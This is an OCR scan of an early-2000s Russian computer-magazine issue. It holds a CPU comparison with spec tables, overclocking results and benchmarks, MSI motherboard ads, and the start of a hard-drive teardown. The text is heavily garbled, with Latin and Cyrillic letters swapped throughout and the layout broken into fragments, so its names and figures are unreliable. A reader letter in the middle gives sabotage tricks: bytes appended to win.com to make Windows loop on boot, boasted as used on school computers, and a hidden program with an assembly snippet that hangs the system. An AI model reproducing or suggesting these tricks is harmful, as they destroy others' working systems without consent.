Сеіегоп Ригоп 

(ШІатеНе) (Могдап) 


Частоты 


от 1 .46 ГГц и выше 1 .6 ГГц и выше 


1.2-1.73 ГГц 


от 1 .7 ГГц и выше от 1 ГГц и выше 


Технология производства 


0.13 мкм 


0.13 мкм 


0.18 мкм 


0.18 мкм 


0.18 мкм 


Площадь ядра 


80 мм2 


146 мм2 


128 мм2 


217 мм2 


106 мм2 


Количество транзисторов 


37.2 млн 


55 млн 


37.5 млн 


42 млн 


25.2 млн 


Частота шины 


266 МГц 


400/533 МГц 


266 


400 МГц 


200 МГц 


И кеш для данных 


64 Кбайт 


8 Кбайт 


64 Кбайт 


8 Кбайт 


64 Кбайт 


и кеш для инструкций 


64 Кбайт 


12 Кбайт 


64 Кбайт 


12 Кбайт 


64 Кбайт 


1_2 кеш 


256 Кбайт 


512 Кбайт 


256 Кбайт 


1 28 Кбайт 


64 Кбайт 


Шина 1_2 кеша 


64 бита 


256 бита 


64 бита 


256 бита 


64 бита 


Набор инструкций ЗОІМоѵѵ! 


+ 


- 


+ 


- 


+ 


Набор инструкций ЗЗЕ 


+ 


+ 


+ 


+ 


+ 


Набор инструкций ЗЗЕ2 


- 


+ 


- 


+ 


- 


Напряжение питания ядра 


1.5-1.65 В 


1.5В 


1.75 В 


1.75 В 


1.45-1.75 В 


Встроенный термодиод 


+ 


+ 


+ 


+ 


+ 
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РС_2опе 


3 
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4 
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' торый может хранить до 40 адресов 
данных, а во взаимодействии с экс- 
клюзивным кэшем (кэш второго уров- 
ня не дублирует содержимое кэша 
первого уровня) приносить Атлонам 
весомую прибавку к общей произво- 
дительности. Ну а в заключение экс- 
курса в историю этого «камня» следует 
напомнить, что для обозначения его 
производительности был введен так 
называемый «рейтинг», основанный на 
результатах работы обширного списка 
разнообразного ПО (от офисных и иг- 
ровых приложений до бенчмарков). 
Впрочем, реальные тактовые частоты 
своих Атлонов АМЭ не скрывает, и их 
всегда можно посмотреть при загрузке 
ВІ08. Другое дело, что рейтинг этот 
взялся не из воздуха, а является, ско- 
рее, хитрым ходом в противоборстве с 
Репііит 4, т.к. догнать его именно по 
частоте АІѴЮ пока не в состоянии. Вот 
она и вынуждена пускаться на всевоз- 
можные ухищрения и уловки, чтобы 
подчеркнуть высокую производитель- 
ность своих процессоров. 



ШО АШоп ХР 
«ТЬогоидЬЬгесІ» 



Итак, кто же такой ТИогоидИЬгесІ и 
с чем его едят? Для начала следует 
отметить, что основное отличие но- 
вого ядра от прошлого (Раіотіпо) 
заключается лишь в технологичес- 



СТЕПЕНЬ ИНТЕГРПЦИИ 



Степень интеграции - это количе- 
ство транзисторов или простей- 
ших логических элементов в про- 
цессоре или другой микросхеме. 
Чем больше этих элементов, тем 
больше умеет делать процессор, 
тем больше у него функций. Чем 
больше в процессоре элементов, 
тем больше его кристалл и тем 
дороже он стоит. Чем больше сте- 



пень интеграции, тем меньше час- 
тота микросхемы, потому что це- 
почки длинные и в них задержива- 
ется сигнал. Чтобы при высокой 
степени интеграции повысить час- 
тоту, нужно понизить МЛР. То есть 
нужно уменьшить размеры самих 
элементов и за счет этого сделать 
короткими длинные цепочки, в ко- 
торых задерживается сигнал. 




тивления, а также форм-фактор 
Зоскеі А. Так что владельцы отно- 
сительно старых материнских плат 
могут не волноваться за совмести- 
мость с новым процессором. Прав- 
да, будет не лишним убедиться в 
этом на сайте производителя мате- 
ринской платы и, при необходимо- 



сти, перепрошить свежую версию 
ВІ08. Что еще можно отметить? 

Это повышенная прочность ядра и 
пониженное энергопотребле- 
ние/тепловыделение. Впрочем, для 
АШІоп’ов с рейтингом 2200+ (и 
следующих моделей) рекомендуют- 
ся использовать кулеры с медным 
основанием, т.к. нрав у них доволь- 
но горячий :). 



АМР Ригой «Могдап» 



Как и ожидалось, Ригоп с новым ядром 
мало чем отличаются от своих более 
старших сородичей с ядром ЗріИіге. Из- 
менения, конечно, есть, но носят они 
скорее косметический характер. Вместо 
узкого набора команд ЗОІМоѵѵ! ис- 
пользуются инструкции ЗОІМоѵѵ! 
РгсгіеззіопаІ, включающие 52 но- 



* 



Что такое 0.13 мкм и 0.18 мкм? 



ком процессе (0,13 мкм), а не в ка- 
ких-либо архитектурных характери- 
стиках. Перевод на новый техпро- 
цесс позволит АІѴЮ и дальше нара- 
щивать частоты своих процессоров, 
одновременно соревнуясь с Іпіеі за 
звание самой быстрой платформы. 
Не претерпела изменений и упа- 
ковка из органики (ОРСА), облада- 
ющая низким показателем сопро- 



Эти цифры все называют «техно- 
логией» или «техпроцессом» и при 
этом делают загадочные глаза. На 
сам деле, 0.13 микрон - это Мини- 
мальный Литографический Размер 
(МЛР). Этот размер говорит о ми- 
нимальной толщине элемента на 
кремниевой пластине, которой 
можно добиться с помощью фото- 
литографии. А от МЛР, в свою оче- 
редь, зависит размер транзистора 
и длина соединителей между тран- 



зисторами. Как известно, все бло- 
ки процессора состоят из транзис- 
торов. Получается, что чем мень- 
ше МЛР, тем меньше транзистор. 
А чем меньше транзистор, тем вы- 
ше у него может быть частота. В 
коротких соединителях сигнал за- 
держивается меньше. А если сиг- 
нал бегает быстро по соедините- 
лям, то можно повысить частоту. 
Получается, что от МЛР зависит 
частота процессора. 
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КРЕМНИЕВЫЕ ПЛПСТИНЫ 



ПРОЦЕССОРНЫЕ ВОЙНЫ 

Ф 1ез1_ІаЬ (іезНаЬ@датеІапсІ.ги) 



г вые инструкции и обеспечивающие 
совместимость с набором команд ЗЗЕ. 
Также Могдап обзавелся механизмом 
предсказания данных (Оаіа Ргеіеісб 
Месбапізт). Т.е. проц заранее предска- 
зывает, какие ему нужны данные из па- 
мяти, а затем сбрасывает их в кэш. Со- 
ответственно, процессорная шина и ши- 
на памяти используются более рацио- 
нально, что, несомненно, должно благо- 




приятно сказаться на общей производи- 
тельности. Ну а завершают список ново- 
введений встроенный термодатчик и 
увеличенный Тгапзіаііоп І_оок-азісІе 
ЕМегз - буфер быстрого преобразова- 
ния адреса, существенно сокращающий 
время, проходящее с момента запроса 
данных процессором до момента их по- 
лучения. Как видно, никаких архитектур- 
ных изменений практически не произво- 
дилось, но свою привлекательность но- 
венький Оигоп из-за этого не потерял. 



Іпіеі Репііит 4 
(ЫогІІіѵѵоосІ) 



Новое ядро ІМогІІіѵѵоосІ, используе- 
мое в новой линейке процессоров 
семейства Репііит 4, по архитек- 
туре тоже мало чем отличается от 
своего предшественника 
(Шатеііе). Как в случае с 
ТІіогоидІіЬгесГом от АІѴЮ, основ- 
ным отличием этого ядра является 
использование более совершенно- 




го технологического процесса 0.13 
мкм, позволяющего и дальше на- 
ращивать тактовые частоты, одно- 
временно снижая энергопотреб- 



ление и тепловыделение. Также у 
ІМогІІіѵѵоосІ можно отметить вдвое 
больший объем І_2 кеша - 512 
Кбайт (Шатеііе нес на борту 
лишь 256 Кбайт). А у моделей с 
частотами от 2.26 ГГц и выше ис- 
пользуется более скоростная про- 
цессорная шина ОиасІ РитресІ Виз, 
работающая на частоте 533 МГц 
вместо прошлой 400 МГц. 



Іпіеі Сеіегоп 



Новое семейство Сеіегоп ’ов без 
лишней суеты распрощалось с про- 
шлым ядром Тиаіаііп, а также с 
Зоскеі 370. Конечно, кто-то навер- 
няка огорчился таким поворотом со- 
бытий, но новые Целики полны же- 
лания и силы, чтобы доказать свое 
право на существование в этой жес- 
токой и изменчивой бойне :]. Итак, 
новички теперь имеют сердце от 
ядра Шатеііе, но с урезанным до 




128 КБ объемом кэш-памяти второ- 
го уровня. А это влечет за собой по- 
вышение зависимости от высоко- 
скоростной шины памяти. Соответ- 
ственно, в наследство от Шатеііе 
Целикам досталась и технология 
производства - 0,18 мкм и форм- 
фактор Зоскеі 478, который Іпіеі бу- 
дет использовать еще долго (по 
крайней мере, для линейки 
Сеіегоп). Так что новые камушки без 
проблем должны встать и опознать- 
ся на мамках, изначально рассчи- 
танных под четвертый Пентиум. 

Еще, к радости целиколюбов, реши- 
лась давняя беда этих камушков - 
недостаточная пропускная способ- 
ность Р8В. Теперь же Сеіегоп ис- 
пользует 100 МГц РЗВ, но с переда- 
чей 4-х сигналов за такт, что обес- 
печивает пропускную способность 
РЗВ в районе 3,2 Гбайт/с. Вот так 
узкое место в одночасье преврати- 
лось в широкое :]. Стартуют же но- 
вые Целики с отметки в 1 .7 ГГц (в 
нашей лаборатории побывали эк- 
земпляры с 1 .7 и 1 .8 ГГц), ну а фи- 
нишная черта будет проведена, ско- 
рей всего, техпроцессом 0.18 мкм. 



Делать по одному процессору не- 
удобно и дорого, с кремниевым 
кусочком нужно проделать не- 
сколько сотен операций. Поэтому 
процессоры делают сразу по не- 
сколько штук на одной большой 
пластине, одни и те же операции 
дешевле делать сразу с большим 
количеством микросхем. Причем, 
чем больше диаметр пластины, 
тем больше на ней помещается 
процессоров. Чем больше процес- 



соров на пластине, тем дешевле 
они стоят. После того как пластина 
пройдет все технологические про- 
цессы, ее распиливают на отдель- 
ные кусочки (чипы). Каждый кусо- 
чек - процессор, его проверяют и 
запаковывают в корпус. Чтобы не 
путаться, достаточно запомнить 
следующее утверждение: пластина 
с диаметром 300 мм позволяет 
произвести более дешевые микро- 
схемы, чем пластина в 200 мм. 



т 



РАЗГОН 



Тема оверклокинга или, проще го- 
воря, «разгона» становится все по- 
пулярней в последнее время. Ра- 
зумеется, и мы не могли обделить 
вниманием столь интересную те- 
му. В то же время мы не стара- 
лись выжать из процессоров все, 
на что они способны, т.к. не у каж- 
дого юзверя есть соответствующие 
знания/умения и «железо». Поэто- 
му был проделан «легкий разгон», 
без повышения напряжения и ка- 
ких-либо зарисовок перемычек. 
Повышалась лишь частота систем- 
ной шины РЗВ. И, скорей всего, 
именно этого результата сможет 
добиться большинство юзеров, 
желающих повысить производи- 
тельность своей машины «малой 
кровью». 



Репііит 4 2.2 ГГц 



Этот камушек смог легко разогнать- 
ся до 2.31 ГГц без повышения на- 
пряжения на ядро процессора. Для 
этого была увеличена частота шины 
на 5 МГц (фактическая частота шины 
составила 420 МГц). Однако потен- 
циал к разгону у этого процессора 
гораздо больше, и с помощью долж- 
ного охлаждения подобный камень 
можно завести на 2.5 - 2.6 ГГц. 



Репііит 4 
Сеіегоп 1.7 ГГц 



Процессоры Сеіегоп, с момента их 
появления (во времена царствования 
Репііит 2), как-то сразу полюбились 
многим пользователям за невысокую 
цену и выдающиеся результаты в 
оверклокинге. Вот и на этот раз Це- 
лики продолжили свою славную тра- 
дицию и показали себя очень «щед- 
рыми» камнями, дарящими простому 
интелолюбу пару-тройку сотен ха- 
лявных мегагерц. Что наглядно дока- 
зал наш экземпляр на 1 .7 ГГц, легко 
заведясь на 2.1 1 ГГц, ну а если до- 
бавить огонька и увеличить напряже- 
ние, то результат будет еще больше. 



Репііит 4 
Сеіегоп 1.8 ГГц 



Второй процессор из линейки 
Сеіегоп оказался не менее друже- 
любным к разгону и тоже без про- 
блем встал на 124- мегагерцовую 
шину. Таким образом, его частота 
составила целых 2.23 ГГц, что даже 
больше, чем у старшего родственни- 
ка - Репііит 4 2.2 ГГц. В общем, 
очевидно, что процессоры Сеіегоп 
были и остаются хорошим вы- 
бором для многочисленных 
оверклокеров. 



I 



Как зависит выделение тепла от 
МЛР и от степени интеграции? 



Чем длиннее цепочки, тем больше 
у них сопротивление, тем больше 
они потребляют электричества и 
тем сильнее они греются. Поэто- 
му чем больше у ядра процессора 
функций, тем больше у него сте- 
пень интеграции, тем длиннее це- 
почки элементов, тем он больше 
греется. Чем меньше у микросхе- 
мы МЛР, тем меньше элементы, 
тем меньше сопротивление у це- 
почек, тем меньше они греются. 
Почти все современные микро- 
схемы делают по КМОП-техноло- 
гии или по схожим. КМОП - это 
комплиментарный метал-оксид- 
полупроводник - этакий гибрид 
конденсатора и транзистора. Ме- 



талл - это проводник, оксид - ди- 
электрик, полупроводник - сам 
транзистор. Из-за конденсатора 
КМОП так не любит статические 
разряды. Статика пробивает диэ- 
лектрик и выводит конденсатор из 
строя. Получается, что транзистор 
потребляет электричество только 
когда переключается, т.е. когда 
его конденсатор заряжается/раз- 
ряжается. В остальные моменты 
транзистор практически ничего не 
потребляет. Конденсатор КМОП 
транзистора перезаряжается в за- 
висимости от частоты, поэтому 
чем больше частота, тем больше 
потребляют транзисторы и тем 
больше греется весь процессор. 
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ЗОООевро! 
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ПРОЦЕССОРНЫЕ ВОЙНЫ 



ІезНаЬ (іезНаЬ@датеІапсІ.ги) 
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АіМоп ХР 
(Раіотіпо) 1800+ 



Теперь посмотрим, как проявили себя 
в оверклокинге топовые камушки от 
АІѴЮ. Старый боец Раіотіпо оказался 
довольно крепким орешком и без лиш- 
ней суеты подружился с РЗВ на 140 
МГц (реальная частота шины 280 ГГц). 
При большем увеличении частоты (на- 
пример, до 150 МГц) ѴѴіпсІоѵѵз загружа- 
лась, но перед появлением «Рабочего 
стола» система уходила в спячку или 
перезагружалась. Решалась эта про- 
блема только повышением напряже- 
ния, но это в условие нашей задачи 
(«легкого оверклокинга») не входило :]. 



АШопХР 

(ТИогоидІіЬгесІ) 2000+ 



Новое ядро поначалу внушало опре- 
деленный оптимизм и сулило золотые 



оверклокерские горы. Как-никак пе- 
реход на новую 0.13 мкм технологию 
должен был принести свои плоды. 
Однако суровая действительность об- 
манула смелые ожидания. Торобред 
не разгонялся. Не то что бы совсем, 
но увеличение частоты системной 
шины всего на 5 МГц (да и то с под- 
нятием напряжения до 1 .65 В) трудно 
назвать нормальным разгоном. Ско- 
рей всего туг сказываются именно 
трудности АІѴЮ по наращиванию так- 
товых частот своих камней и новизна 
технологического процесса. Помнит- 
ся, все процессоры, основанные на 
новых ядрах, поначалу имели весьма 
скромные возможности по халявному 
наращиванию своих тактовых частот. 
Так что, господа оверклокеры, остает- 
ся ждать новых степпингов ядер ;]. 



Оигоп 1300 МГц 



Итак, перед нами свеженький Оигоп, 
имеющий тактовую частоту в 1300 
МГц. Оигоп, так же, как и Сеіегоп, за- 
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Фотолитография 



Фотолитография - это технология 
переноса рисунка на кремниевую 
пластину, похожая на фотографи- 
рование и проявку. Сначала про- 
цессор заготавливают на негати- 
ве в виде рисунка, а потом пере- 
носят на кристалл. Для этого на 
кристалл наносят светочувстви- 
тельный слой, как на пленке фо- 



тоаппарата. Этот рисунок нужен 
для того, чтобы по нему создать 
на кристалле кремния разные ви- 
ды элементов: транзисторы, кон- 
денсаторы, соединители. От тол- 
щины линий этого рисунка лито- 
графического размера зависят 
размеры будущих элементов и 
все с ними связанное. 



работал себе отличную репутацию у 
оверклокеров и у простых юзеров 
благодаря низкой цене (сравнимой с 
кулерами для него :)), хорошей про- 
изводительности и высоким разгон- 
ным потенциалом (например, 600- ые 
Эигоп’ы легко разгонялись до 1000- 
1100 МГц). Но и туг нас ждал неболь- 
шой облом - Оигоп без увеличения 
напряжения на ядро смог заработать 
только на 105- мегагерцовой шине, 
что не идет ни в какое сравнение с 
прошлыми выдающимися результата- 
ми. Благо, цена и производитель- 
ность сохранили верность традиции и 
все еще могут радовать многочислен- 
ных покупателей своей доступностью. 



ТЕСТЫ 



$і$оіІ Запсіга 2002 



Как и ожидалось, Репііит 4 2,2 ГГц 
стал несомненным лидером в тесте 
пропускной способности памяти. 



Впрочем, Целики тоже не отстают и 
показывают высокие результаты. Осо- 
бенно заметен рост производитель- 
ности у разогнанных камней, что на- 
глядно демонстрирует все плюсы 
оверклокинга. АШІоп’ы же впечатлили 
работой своих вычислительных бло- 
ков, не оставив практически никаких 
шансов даже разогнанному Репііит 4. 



РС МАРЖ 2002 



РСМагк2002 использует разнообраз- 
ные задачи для оценки скорости 
СРІ), например, такие как: деком- 
прессия ЭРЕС, компрессия и деком- 
прессия по алгоритму 1277 , тексто- 
вый поиск и преобразование аудио- 
потока. Именно с этими задачами на- 
иболее успешно справился Репііит 4 
2.2 ГГц. Что, в принципе, и следова- 
ло ожидать. Ведь пропускная способ- 
ность шины памяти у него гораздо 
больше (3.2 или 4.2 Гбайт в се- 
кунду), поэтому его результат 
так сильно выделяется на фоне 
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Привет, ведущий рубрики Тірз&Тгіскз! 

1 . По поводу твоего ТарасІГа в #41 , стр. 
64: можно программу сократить до 2-х 
байт - не использовать сіі и рр поставить 
на Зіагі. Если полученную программу 
открыть в мастдайном вьювире увидим 
загадочные буковки "лю". А если 

эти буковки дописать при помощи Блокно- 
та в начало файла "ѵѵіп.сот", то при 
перезагрузке маздайка зациклится! :))) 
Это было успешно использовано на всех 
компах нашей школы, после чего бедным 
преподонкам приходилось переустанов- 
лять винду! 

2. В свой проект-западло на Дел-пчхи или 
на Си-Си... Тфу! На Си/Си++: 

а) Для Делпхи - делаеши прогу не види- 
мую в диспетчере задач (должен 
знать как) и самое главное вставляешь за- 
ветные строчки: 
азт 



хог ах, ах 
іпі 16 І 1 
епсі; 

Ь) Тоже самое но строчки такие: 
азт 
{ 

хог ах, ах 
іпі 16 І 1 
} 

Смысл в том, что прога просит то у доса, 
то у биоса нажатия любой 
клавиши, но винда - не дос и поэтому про- 
га всё вешает, но не полностью, 
поэтому мы скрываем её из диспетчера 
задач. А для прикола перед этими 
строчками поставь ещё одну строчку для 
повторного запуска проги :))). 

З.Ы. Но в ИксПи-и-и-и не работает :(((. 

МедаѴасІік Меда ѴасИк@Ш. Ьу 
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Реггипп 



ПРОЦЕССОРНЫЕ ВОЙНЫ 

Ф ІезІІаЬ ((езІ_ІаЬ@датеІап<І.ги) 



ІІТ 2003 (800x600, 
карта ВК-АпиЬіз) 



Интересно, как же проявят себя про- 
цы от двух грандов кам нестроения в 
долгожданном хите? Тем более, что 






■ ■въЬв « . 






остальных камней. Это заметно и на 
примере Сеіегоп’ов, которые легко 
смогли обогнать Эигоп на 1300 МГц, 
а по скорости работы с памятью да- 
же Атлон с рейтингом 1800+. 



ЗО МАРК 2001 (800x600 
32Ы1 соіог, 2 -ЬиНег 24 Ьіі) 



В одном из самых популярных 30- 
тестов наблюдается схожая карти- 
на, как в случае и с РС МАРК, толь- 
ко на этот раз преимущество 
Репііит 4 выглядит не столь подав- 
ляюще, а АІЫоп ХР 2000+ наступа- 
ет ему буквально на пятки. Оигоп 
даже смог обогнать своего оппо- 
нента из враждебного лагеря - 
Сеіегоп на 1.7 ГГц, превосходящего 
его по тактовой частоте на 400 МГц 
(правда, разогнанные Сеіегоп 
такого издевательства над собой не 
потерпели :)). АІЫоп ХР же с рей- 
тингом 1800+ вступился за млад- 
шего братца и сполна расквитался 
с его обидчиками. И на это он име- 
ет полное право, т.к. цена на него 
даже меньше, чем на бюджетные 
Сеіегоп. 



т 



Ѵ2 



Оиаке 3 
Теат Агепа 



Настало время посмотреть, как по- 
ведут себя наши процессоры в ре- 
альных игровых приложениях, а не 
в синтетических тестах. Для этого 
мы прогнали наше каменное вой- 
ско через многочисленные разре- 
шения и разнообразные настройки. 
В разрешении 640x480 лучше всех 
проявил себя гордый Репііит 4, 
показав целых 220 РР8. Однако от- 
ставание АІЫоп ’а с рейтингом 
2000+ совсем незначительное, что 
наглядно показывают его 203 ФПС. 
А с ростом разрешения и с наст- 
ройками НідГі Оиаіііу - АІЫоп даже 
сумел превзойти «разогнанный» 
Репііит 4 с частотой 2.31 ГГц. Что 
ж, видимо не совсем еще отсырел 
порох в его пороховницах ;]. Эигоп 
тоже показал свой бойцовский ха- 
рактер и, несмотря на более низ- 
кую тактовую частоту, смог обо- 
гнать дружное семейство 
Сеіегоп’ов при высоких настройках 
и разрешениях. 



этот гамес весьма требователен к 
ресурсам системы. И тут нас ждал 
очередной сюрприз. АІЫоп вновь 
показал, кто правит бал на игровом 
поприще, и продемонстрировал 
весьма достойный результат. Также 
видно, что Эи гоп и процессоры 
Сеіегоп с большим трудом справля- 
ются с обеспечением «играбельно- 
го» РР8, грозясь скатиться на низкие 
показатели в напряженных сценах. 



ВПЕРЕД, 

В БУДУЩЕЕ! 



Наверняка многим будет интересно уз- 
нать, что же готовят нам в ближайшее 
время Іпіеі и АІѴЮ. И если с Интел си- 
туация более-менее ясная и предска- 
зуемая (планируется дальнейшее нара- 
щивание тактовых частот без каких-ли- 
бо особых изменений в архитектуре), 
то планы АІѴЮ выглядят гораздо интри- 
гующей. Первое, что хочется отметить, 
это ликвидация линейки Эигоп. Однако 
материться еще рано, т.к. эту бюджет- 
ную нишу должны заполнить АІЫоп ХР. 
А что же будет с самим ХР? Для нача- 
ла, из-за проблем с наращиванием 



тактовой частоты, планируется пере- 
ход на более скоростную системную 
шину с результирующей частотой в 
333 МГц, что позволит поднять рейтинг 
будущих процессоров АІЫоп. Ну а за- 
тем ожидается появление могучего и 
ужасного Наттег’а. Что же он сможет 
противопоставить нынешнему лидеру 
по производительности - Репііит 4? К 
радости особо нетерпеливых юзеров 
есть и такая информация. Конечно, это 
работа на более высоких частотах, чем 
у предшественника - Атлона, что долж- 
но сократить отставание от четвертого 
пня в частотной гонке. Но все же не 
только высокие частоты определяют 
производительность процессора. Осо- 
бого внимания заслуживает сверхско- 
ростная шина НурегТ гапзрогі, которая к 
тому же будет значительно разгружена 
от муторной работы с памятью, т.к. 
контроллер памяти будет встроен в 
сам процессор! А это, в свою очередь, 
повлечет существенное снижение все- 
возможных задержек в связке процес- 
сор-память. Плюс в процессоре 
Наттег будет использоваться блок 
инструкций 88Е2, что практически ли- 
шает Репііит 4 основных преиму- 
ществ. Также стоит упомянуть и глав- 
ное достоинство процессора Наттег - 
поддержку 64-битных инструкций. И 
пускай пока еще нет соответствующего 
ПО, но это вопрос времени и техники, 
т.к. мало кто из его производителей не 
захочет легко повысить производи- 
тельность своих приложений путем 
простой перекомпиляции. Осталось 
только набраться терпения и дождать- 
ся появления этого революционного 
«молотка» ;]. 



ТРИБУНАЛ 



Как видишь, однозначно сказать, кто 
сейчас командует процессорным пара- 
дом, довольно сложно. С одной сторо- 
ны, новое ядро ИогІГіѵѵоосІ позволяет 
Іпіеі и дальше легко наращивать такто- 
вые частоты своих процессоров, суще- 
ственно обгоняя в этой горячей гонке 
АІѴЮ. А с другой стороны, производи- 
тельность процессоров АІІіІоп все еще 
достаточно привлекательна и порой 
превосходит процессоры от Іпіеі. Да и 
цена на них существенно ниже. Однако 
цены на Р4 тоже падают в высоком 
темпе, а частоты не менее быстро воз- 
растают. И если компания АІѴЮ и даль- 
ше будет испытывать трудности с на- 
ращиванием своих тактовых частот и 
задержит выход своего будущего козы- 
ря - процессора Наттег, то она риску- 
ет надолго потерять с таким трудом 
приобретенную славу высокопроизво- 
дительных решений, а Іпіеі тем време- 
нем успеет отвоевать свои былые по- 
зиции. Только, думается нам, не все 
так просто, и ты еще бу- 
дешь свидетелем очеред- 
ного звездного эпизода 
процессорных войн ;]. 






ІезІ ІаЬ выражает благодарность компании Паритет94 за предоставленное на тестирование оборудование. 
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• Поддерживает процессор 
Іпіеі® Репііит® 4 до 2,4 ГГц 

• Поддерживает 3 модуля РІММ 
до 2 Гб памяти РРВ 266 (РС21 00) 

• Частота системной шины 400/533 МГц 

• Технология ЦбВ 2.0 

• Встроенный сетевой интерфейс - 
Іпіеі® 82562ЕТ (дополнительно) 

• Функция мониторинга системы 

• Функция ЗизрепсІ Іо ПАМ / йізк Типсйоп 

• АС’97 поддержка 6-канального звука 5-Вгаскеі 

• 6 РСІ / 1 СМ / 1 АСР 

• РС2РС-ВІиеіооіН (дополнительно) / 5-Вгаскеі™ 
МЗШѴО 5. 1 СИ / Р-Вгаскеі™ 2 / Уѵе ир<Ме 2 



N. 



• Поддерживает процессор 
ІпіеІ® Репііит® 4 (Зоскеі 478) 

• Поддерживает 2 модуля памяти 
РСІ 066 НАМВІІЗ ОШМ до 2 Гб 

• Поддержка 4 портов Іазі: 115В 2.0 
(480 Мб/сек) (дополнительно) 

• Встроенный сетевой интерфейс 

1 0/1 00 Еіііегпеі УШ (дополнительно) 

• 5.1 -канальный звук 

и 5. 1 -канальное ОМО з/ѵѵ 
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• Поддерживает процессор 
Іпіеі® Репііит® 4 (Зоскеі 478) 

• Поддерживает 3 модуля йОВЗЗЗ ЗОВАМ до 3 Гб 

• Поддержка графической карты АСР 8Х 

• Поддержка 6 портов Іазі УЗВ 2.0 (480 Мб/сек.) 

• Встроенный сетевой интерфейс 

1 0/1 00 ЕІИегпеІ НАМ (дополнительно) 

• М5І ехсіизіѵе РС2РС-ВІиеІооІН™, 

поддержка технологии ВІиеІооІН (дополнительно) 

• 5.1 -канальный звук и 5.1 -канальное ОѴР з/ѵѵ 



V 



• Поддерживает процессоры АІѴЮ АІЫоптм ХР 
/ АШоп™ / йигоптм до 2200+ 

• Поддерживает 3 модуля ООНЗЗЗ ЗОВАМ до 3 Гб 

• 5РСІ/1 СІѴВ/1 АСР 

• Интегрированный ЫЗВ 2.0 Нозі сопігоііег 

• ЮЕ АТА 133 и ВАЮ 0,1 (дополнительно) 

• Поддержка 6 - канального 5/ѴѴ звука 

• Комплект М5І ОѴО 5.1 - СН 5/ѴѴ 

• З.ВгаскеІ поддерживает 6-канальный звук 

и выходной разъем ЗРОІР оиі (дополнительно) 

• Встроенные РС2РС-ВІиеІооІМ Тгазсеіѵіпд тосіиіе 
и ехіегпаі 115В іпіегіасе Тгазсеіѵіпд Кеу 
(дополнительно) 

• О-ВгаскеРм 2 / І.іѵе Іірсіаіе™ 2 / Ригіу І.одіс™ 4 
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Оеаііпе 

ТеІ: 095-969-2222 
Рах: 095-969-2299 
ѵѵѵѵѵѵ.сіеаііпе.ги 


ш|ШЕ 


ШУМЕ 

ТеІ: 095-941-6161 
Рах: 095-742-3614 
ІіНр://\ллллл/.і2Ь.ги 


ІМРЕХ# 


ІМРЕХ 

ТеІ: 095-443-3001 
Рах: 095-443-6001 


г 

ТГСЕМІЭ 


Еисіісі 


Еисіісі Сотриіегз Іпс. 

ТеІ: 812-312-6300 
Рах: 812-325-6250 




ІР І_аЬз 

ТеІ: 095-728-4101 
Рах: 095-728-4100 
ѵѵѵѵѵѵ.ірІаЬз.ги 


^ТТІЕ 


Риззіап-ЗІуІе 

ТеІ: 095-797-5775 
Рах: 095-215-2057 
ѵѵѵѵѵѵ.гиз.ги 


# 



‘Все функции являются опциональными для всех продуктов М5І. М5І™ является зарегистрированной торговой маркой Місго-ЗІаг ІпГІ Со.,Ш. ‘Спецификации могут быть і 



I 



і без оповещения. ‘Все права на зарегистрированные торговые марки принадлежат их владельцам. ‘Работа конфигураций, не предусмотренных спецификациями продукта, не гарантируется. 
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ВИНЧЕСТЕР 

с[Пі] Никита Кислицин ака Мікйоз 
(пікіІ05@геаІ. хакер, ш) 



С этого номера начинает свое функционирование рубрика "Іпзісіе", цель которой - 
объяснить тебе, как работают некоторые устройства всеми нами любимого компьютера. От 
месяца к месяцу мы будем вскрывать какой-то новый девайс, копаться в его внутренностях 
(если таковые имеются, конечно же), фотографировать все это на цифровик и 
демонстрировать тебе снимки, предметно разъясняя, из чего состоит устройство и что 
именно делает каждая из его составных частей. Сегодня на операционном столе лежит НЮР 
(НагсІ Різк Огіѵе), или, говоря по-русски, хард. Ну что ж, посмотрим, что у него ВНУТРИ? 



ВИНЧЕСТЕР 



Жесткий диск можно условно разделить на две 
составные части: механическую и электронную. 
Первая и основная выполняет самую низкоуров- 
невую работу и состоит, прежде всего, из кор- 
пуса, шпинделя, электродвигателя, носителей 
информации - так называемых "блинов", пози- 
ционера и блока магнитных головок. 

Вторая работает на уровень-два выше. Она 
представляет собой обычную плату с напаянны- 
ми на ней элементами, где, помимо кучи резис- 
торов, диодов и прочих конденсаторов, находят- 
ся устройства со знакомыми тебе названиями - 
это память, процессоры, "инженерный ци- 
линдр” и т.д. Обо всем этом речь пойдет ниже. 




Носители информации 

В качестве хранителей данных выступают тон- 
кие пластинки толщиной примерно 2 мм, на 
которые с обеих сторон нанесено магнитное 
покрытие, обладающее способностью менять 
свои свойства под воздействием электромаг- 
нитных излучений. Раньше эти пластины вы- 
полнялись из стекла, сейчас используются 
преимущественно пластики - это "дешево, на- 
дежно и практично", но притом еще и эстетич- 
но. В качестве магнитного покрытия сейчас, в 
основном, юзают окись хрома - вещество, ко- 
торое, в отличие от своего предка, используе- 
мого в более ранних моделях - окиси железа, 
сохраняет свои магнитные свойства значи- 



тельно более 

длительный срок. Магнитное покрытие чрез- 
вычайно чувствительно к физическим на него 
воздействиям, поэтому на каждом блине есть 
так называемая "парковочная зона" - область 
пластины у шпинделя, где не содержится ни- 
какой информации и куда опускается после 
завершения работы считывающая и записыва- 
ющая информацию магнитная головка. В со- 
временных жестких дисках, с целью повысить 
их вместительность, нередко используется 
несколько пластин. Это при том, что на один 
блин может, при использовании технологии 
фирмы ѴѴезІегп ОідііаІ, влезть 60 гигабайт ин- 
формации! А недавно был анонс об уже вось- 
мидесяти гигах на одну пластину... 




ТНЕ Блин! Шпиндель, под 

Он двухсторонний которым двигатель 



Разъем интерфейсной 
платы изнутри 



Поворотный рычаг 



Головка - самый нежный 
орган винта ;) По одной с 
каждой стороны блина 



Зона парковки 



Гермоблок ака кузов 



Ограничители 

хода рычага Магнитный двигатель рычага 



Ось рычага 



В этой модели под блином 
еще один блин. В других 
моделях их может быть 
больше 



і 
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Разъем питания 



Разъем для полключения ЮЕ-шлейфа 




Электроника 

Вторая составляющая жесткого диска - электрон- 
ная. Она представляет собой плату с напаянными 
на ней элементами, среди которых имеет смысл 
выделить микросхемы памяти винчестера (так на- 
зываемый кэш), "инженерный цилиндр", в кото- 
ром хранится управляющая диском информация, 
и два процессора. Первый обрабатывает электро- 
магнитные колебания, поступающие с головок, 
второй производит управление диском, то есть 
регулирует скорость вращения шпинделя и про- 
изводит позиционирование магнитных головок на 
дорожки. Но обо всем по порядку. Кеш в работе 
винчестера играет такую же роль, что и оператив- 



ная память в работе всего компа. В нем хранится 
обрабатываемая в текущий момент времени ин- 
формация - либо читаемая, либо записываемая. 
Чем, соответственно, больше кэш, тем шустрее 
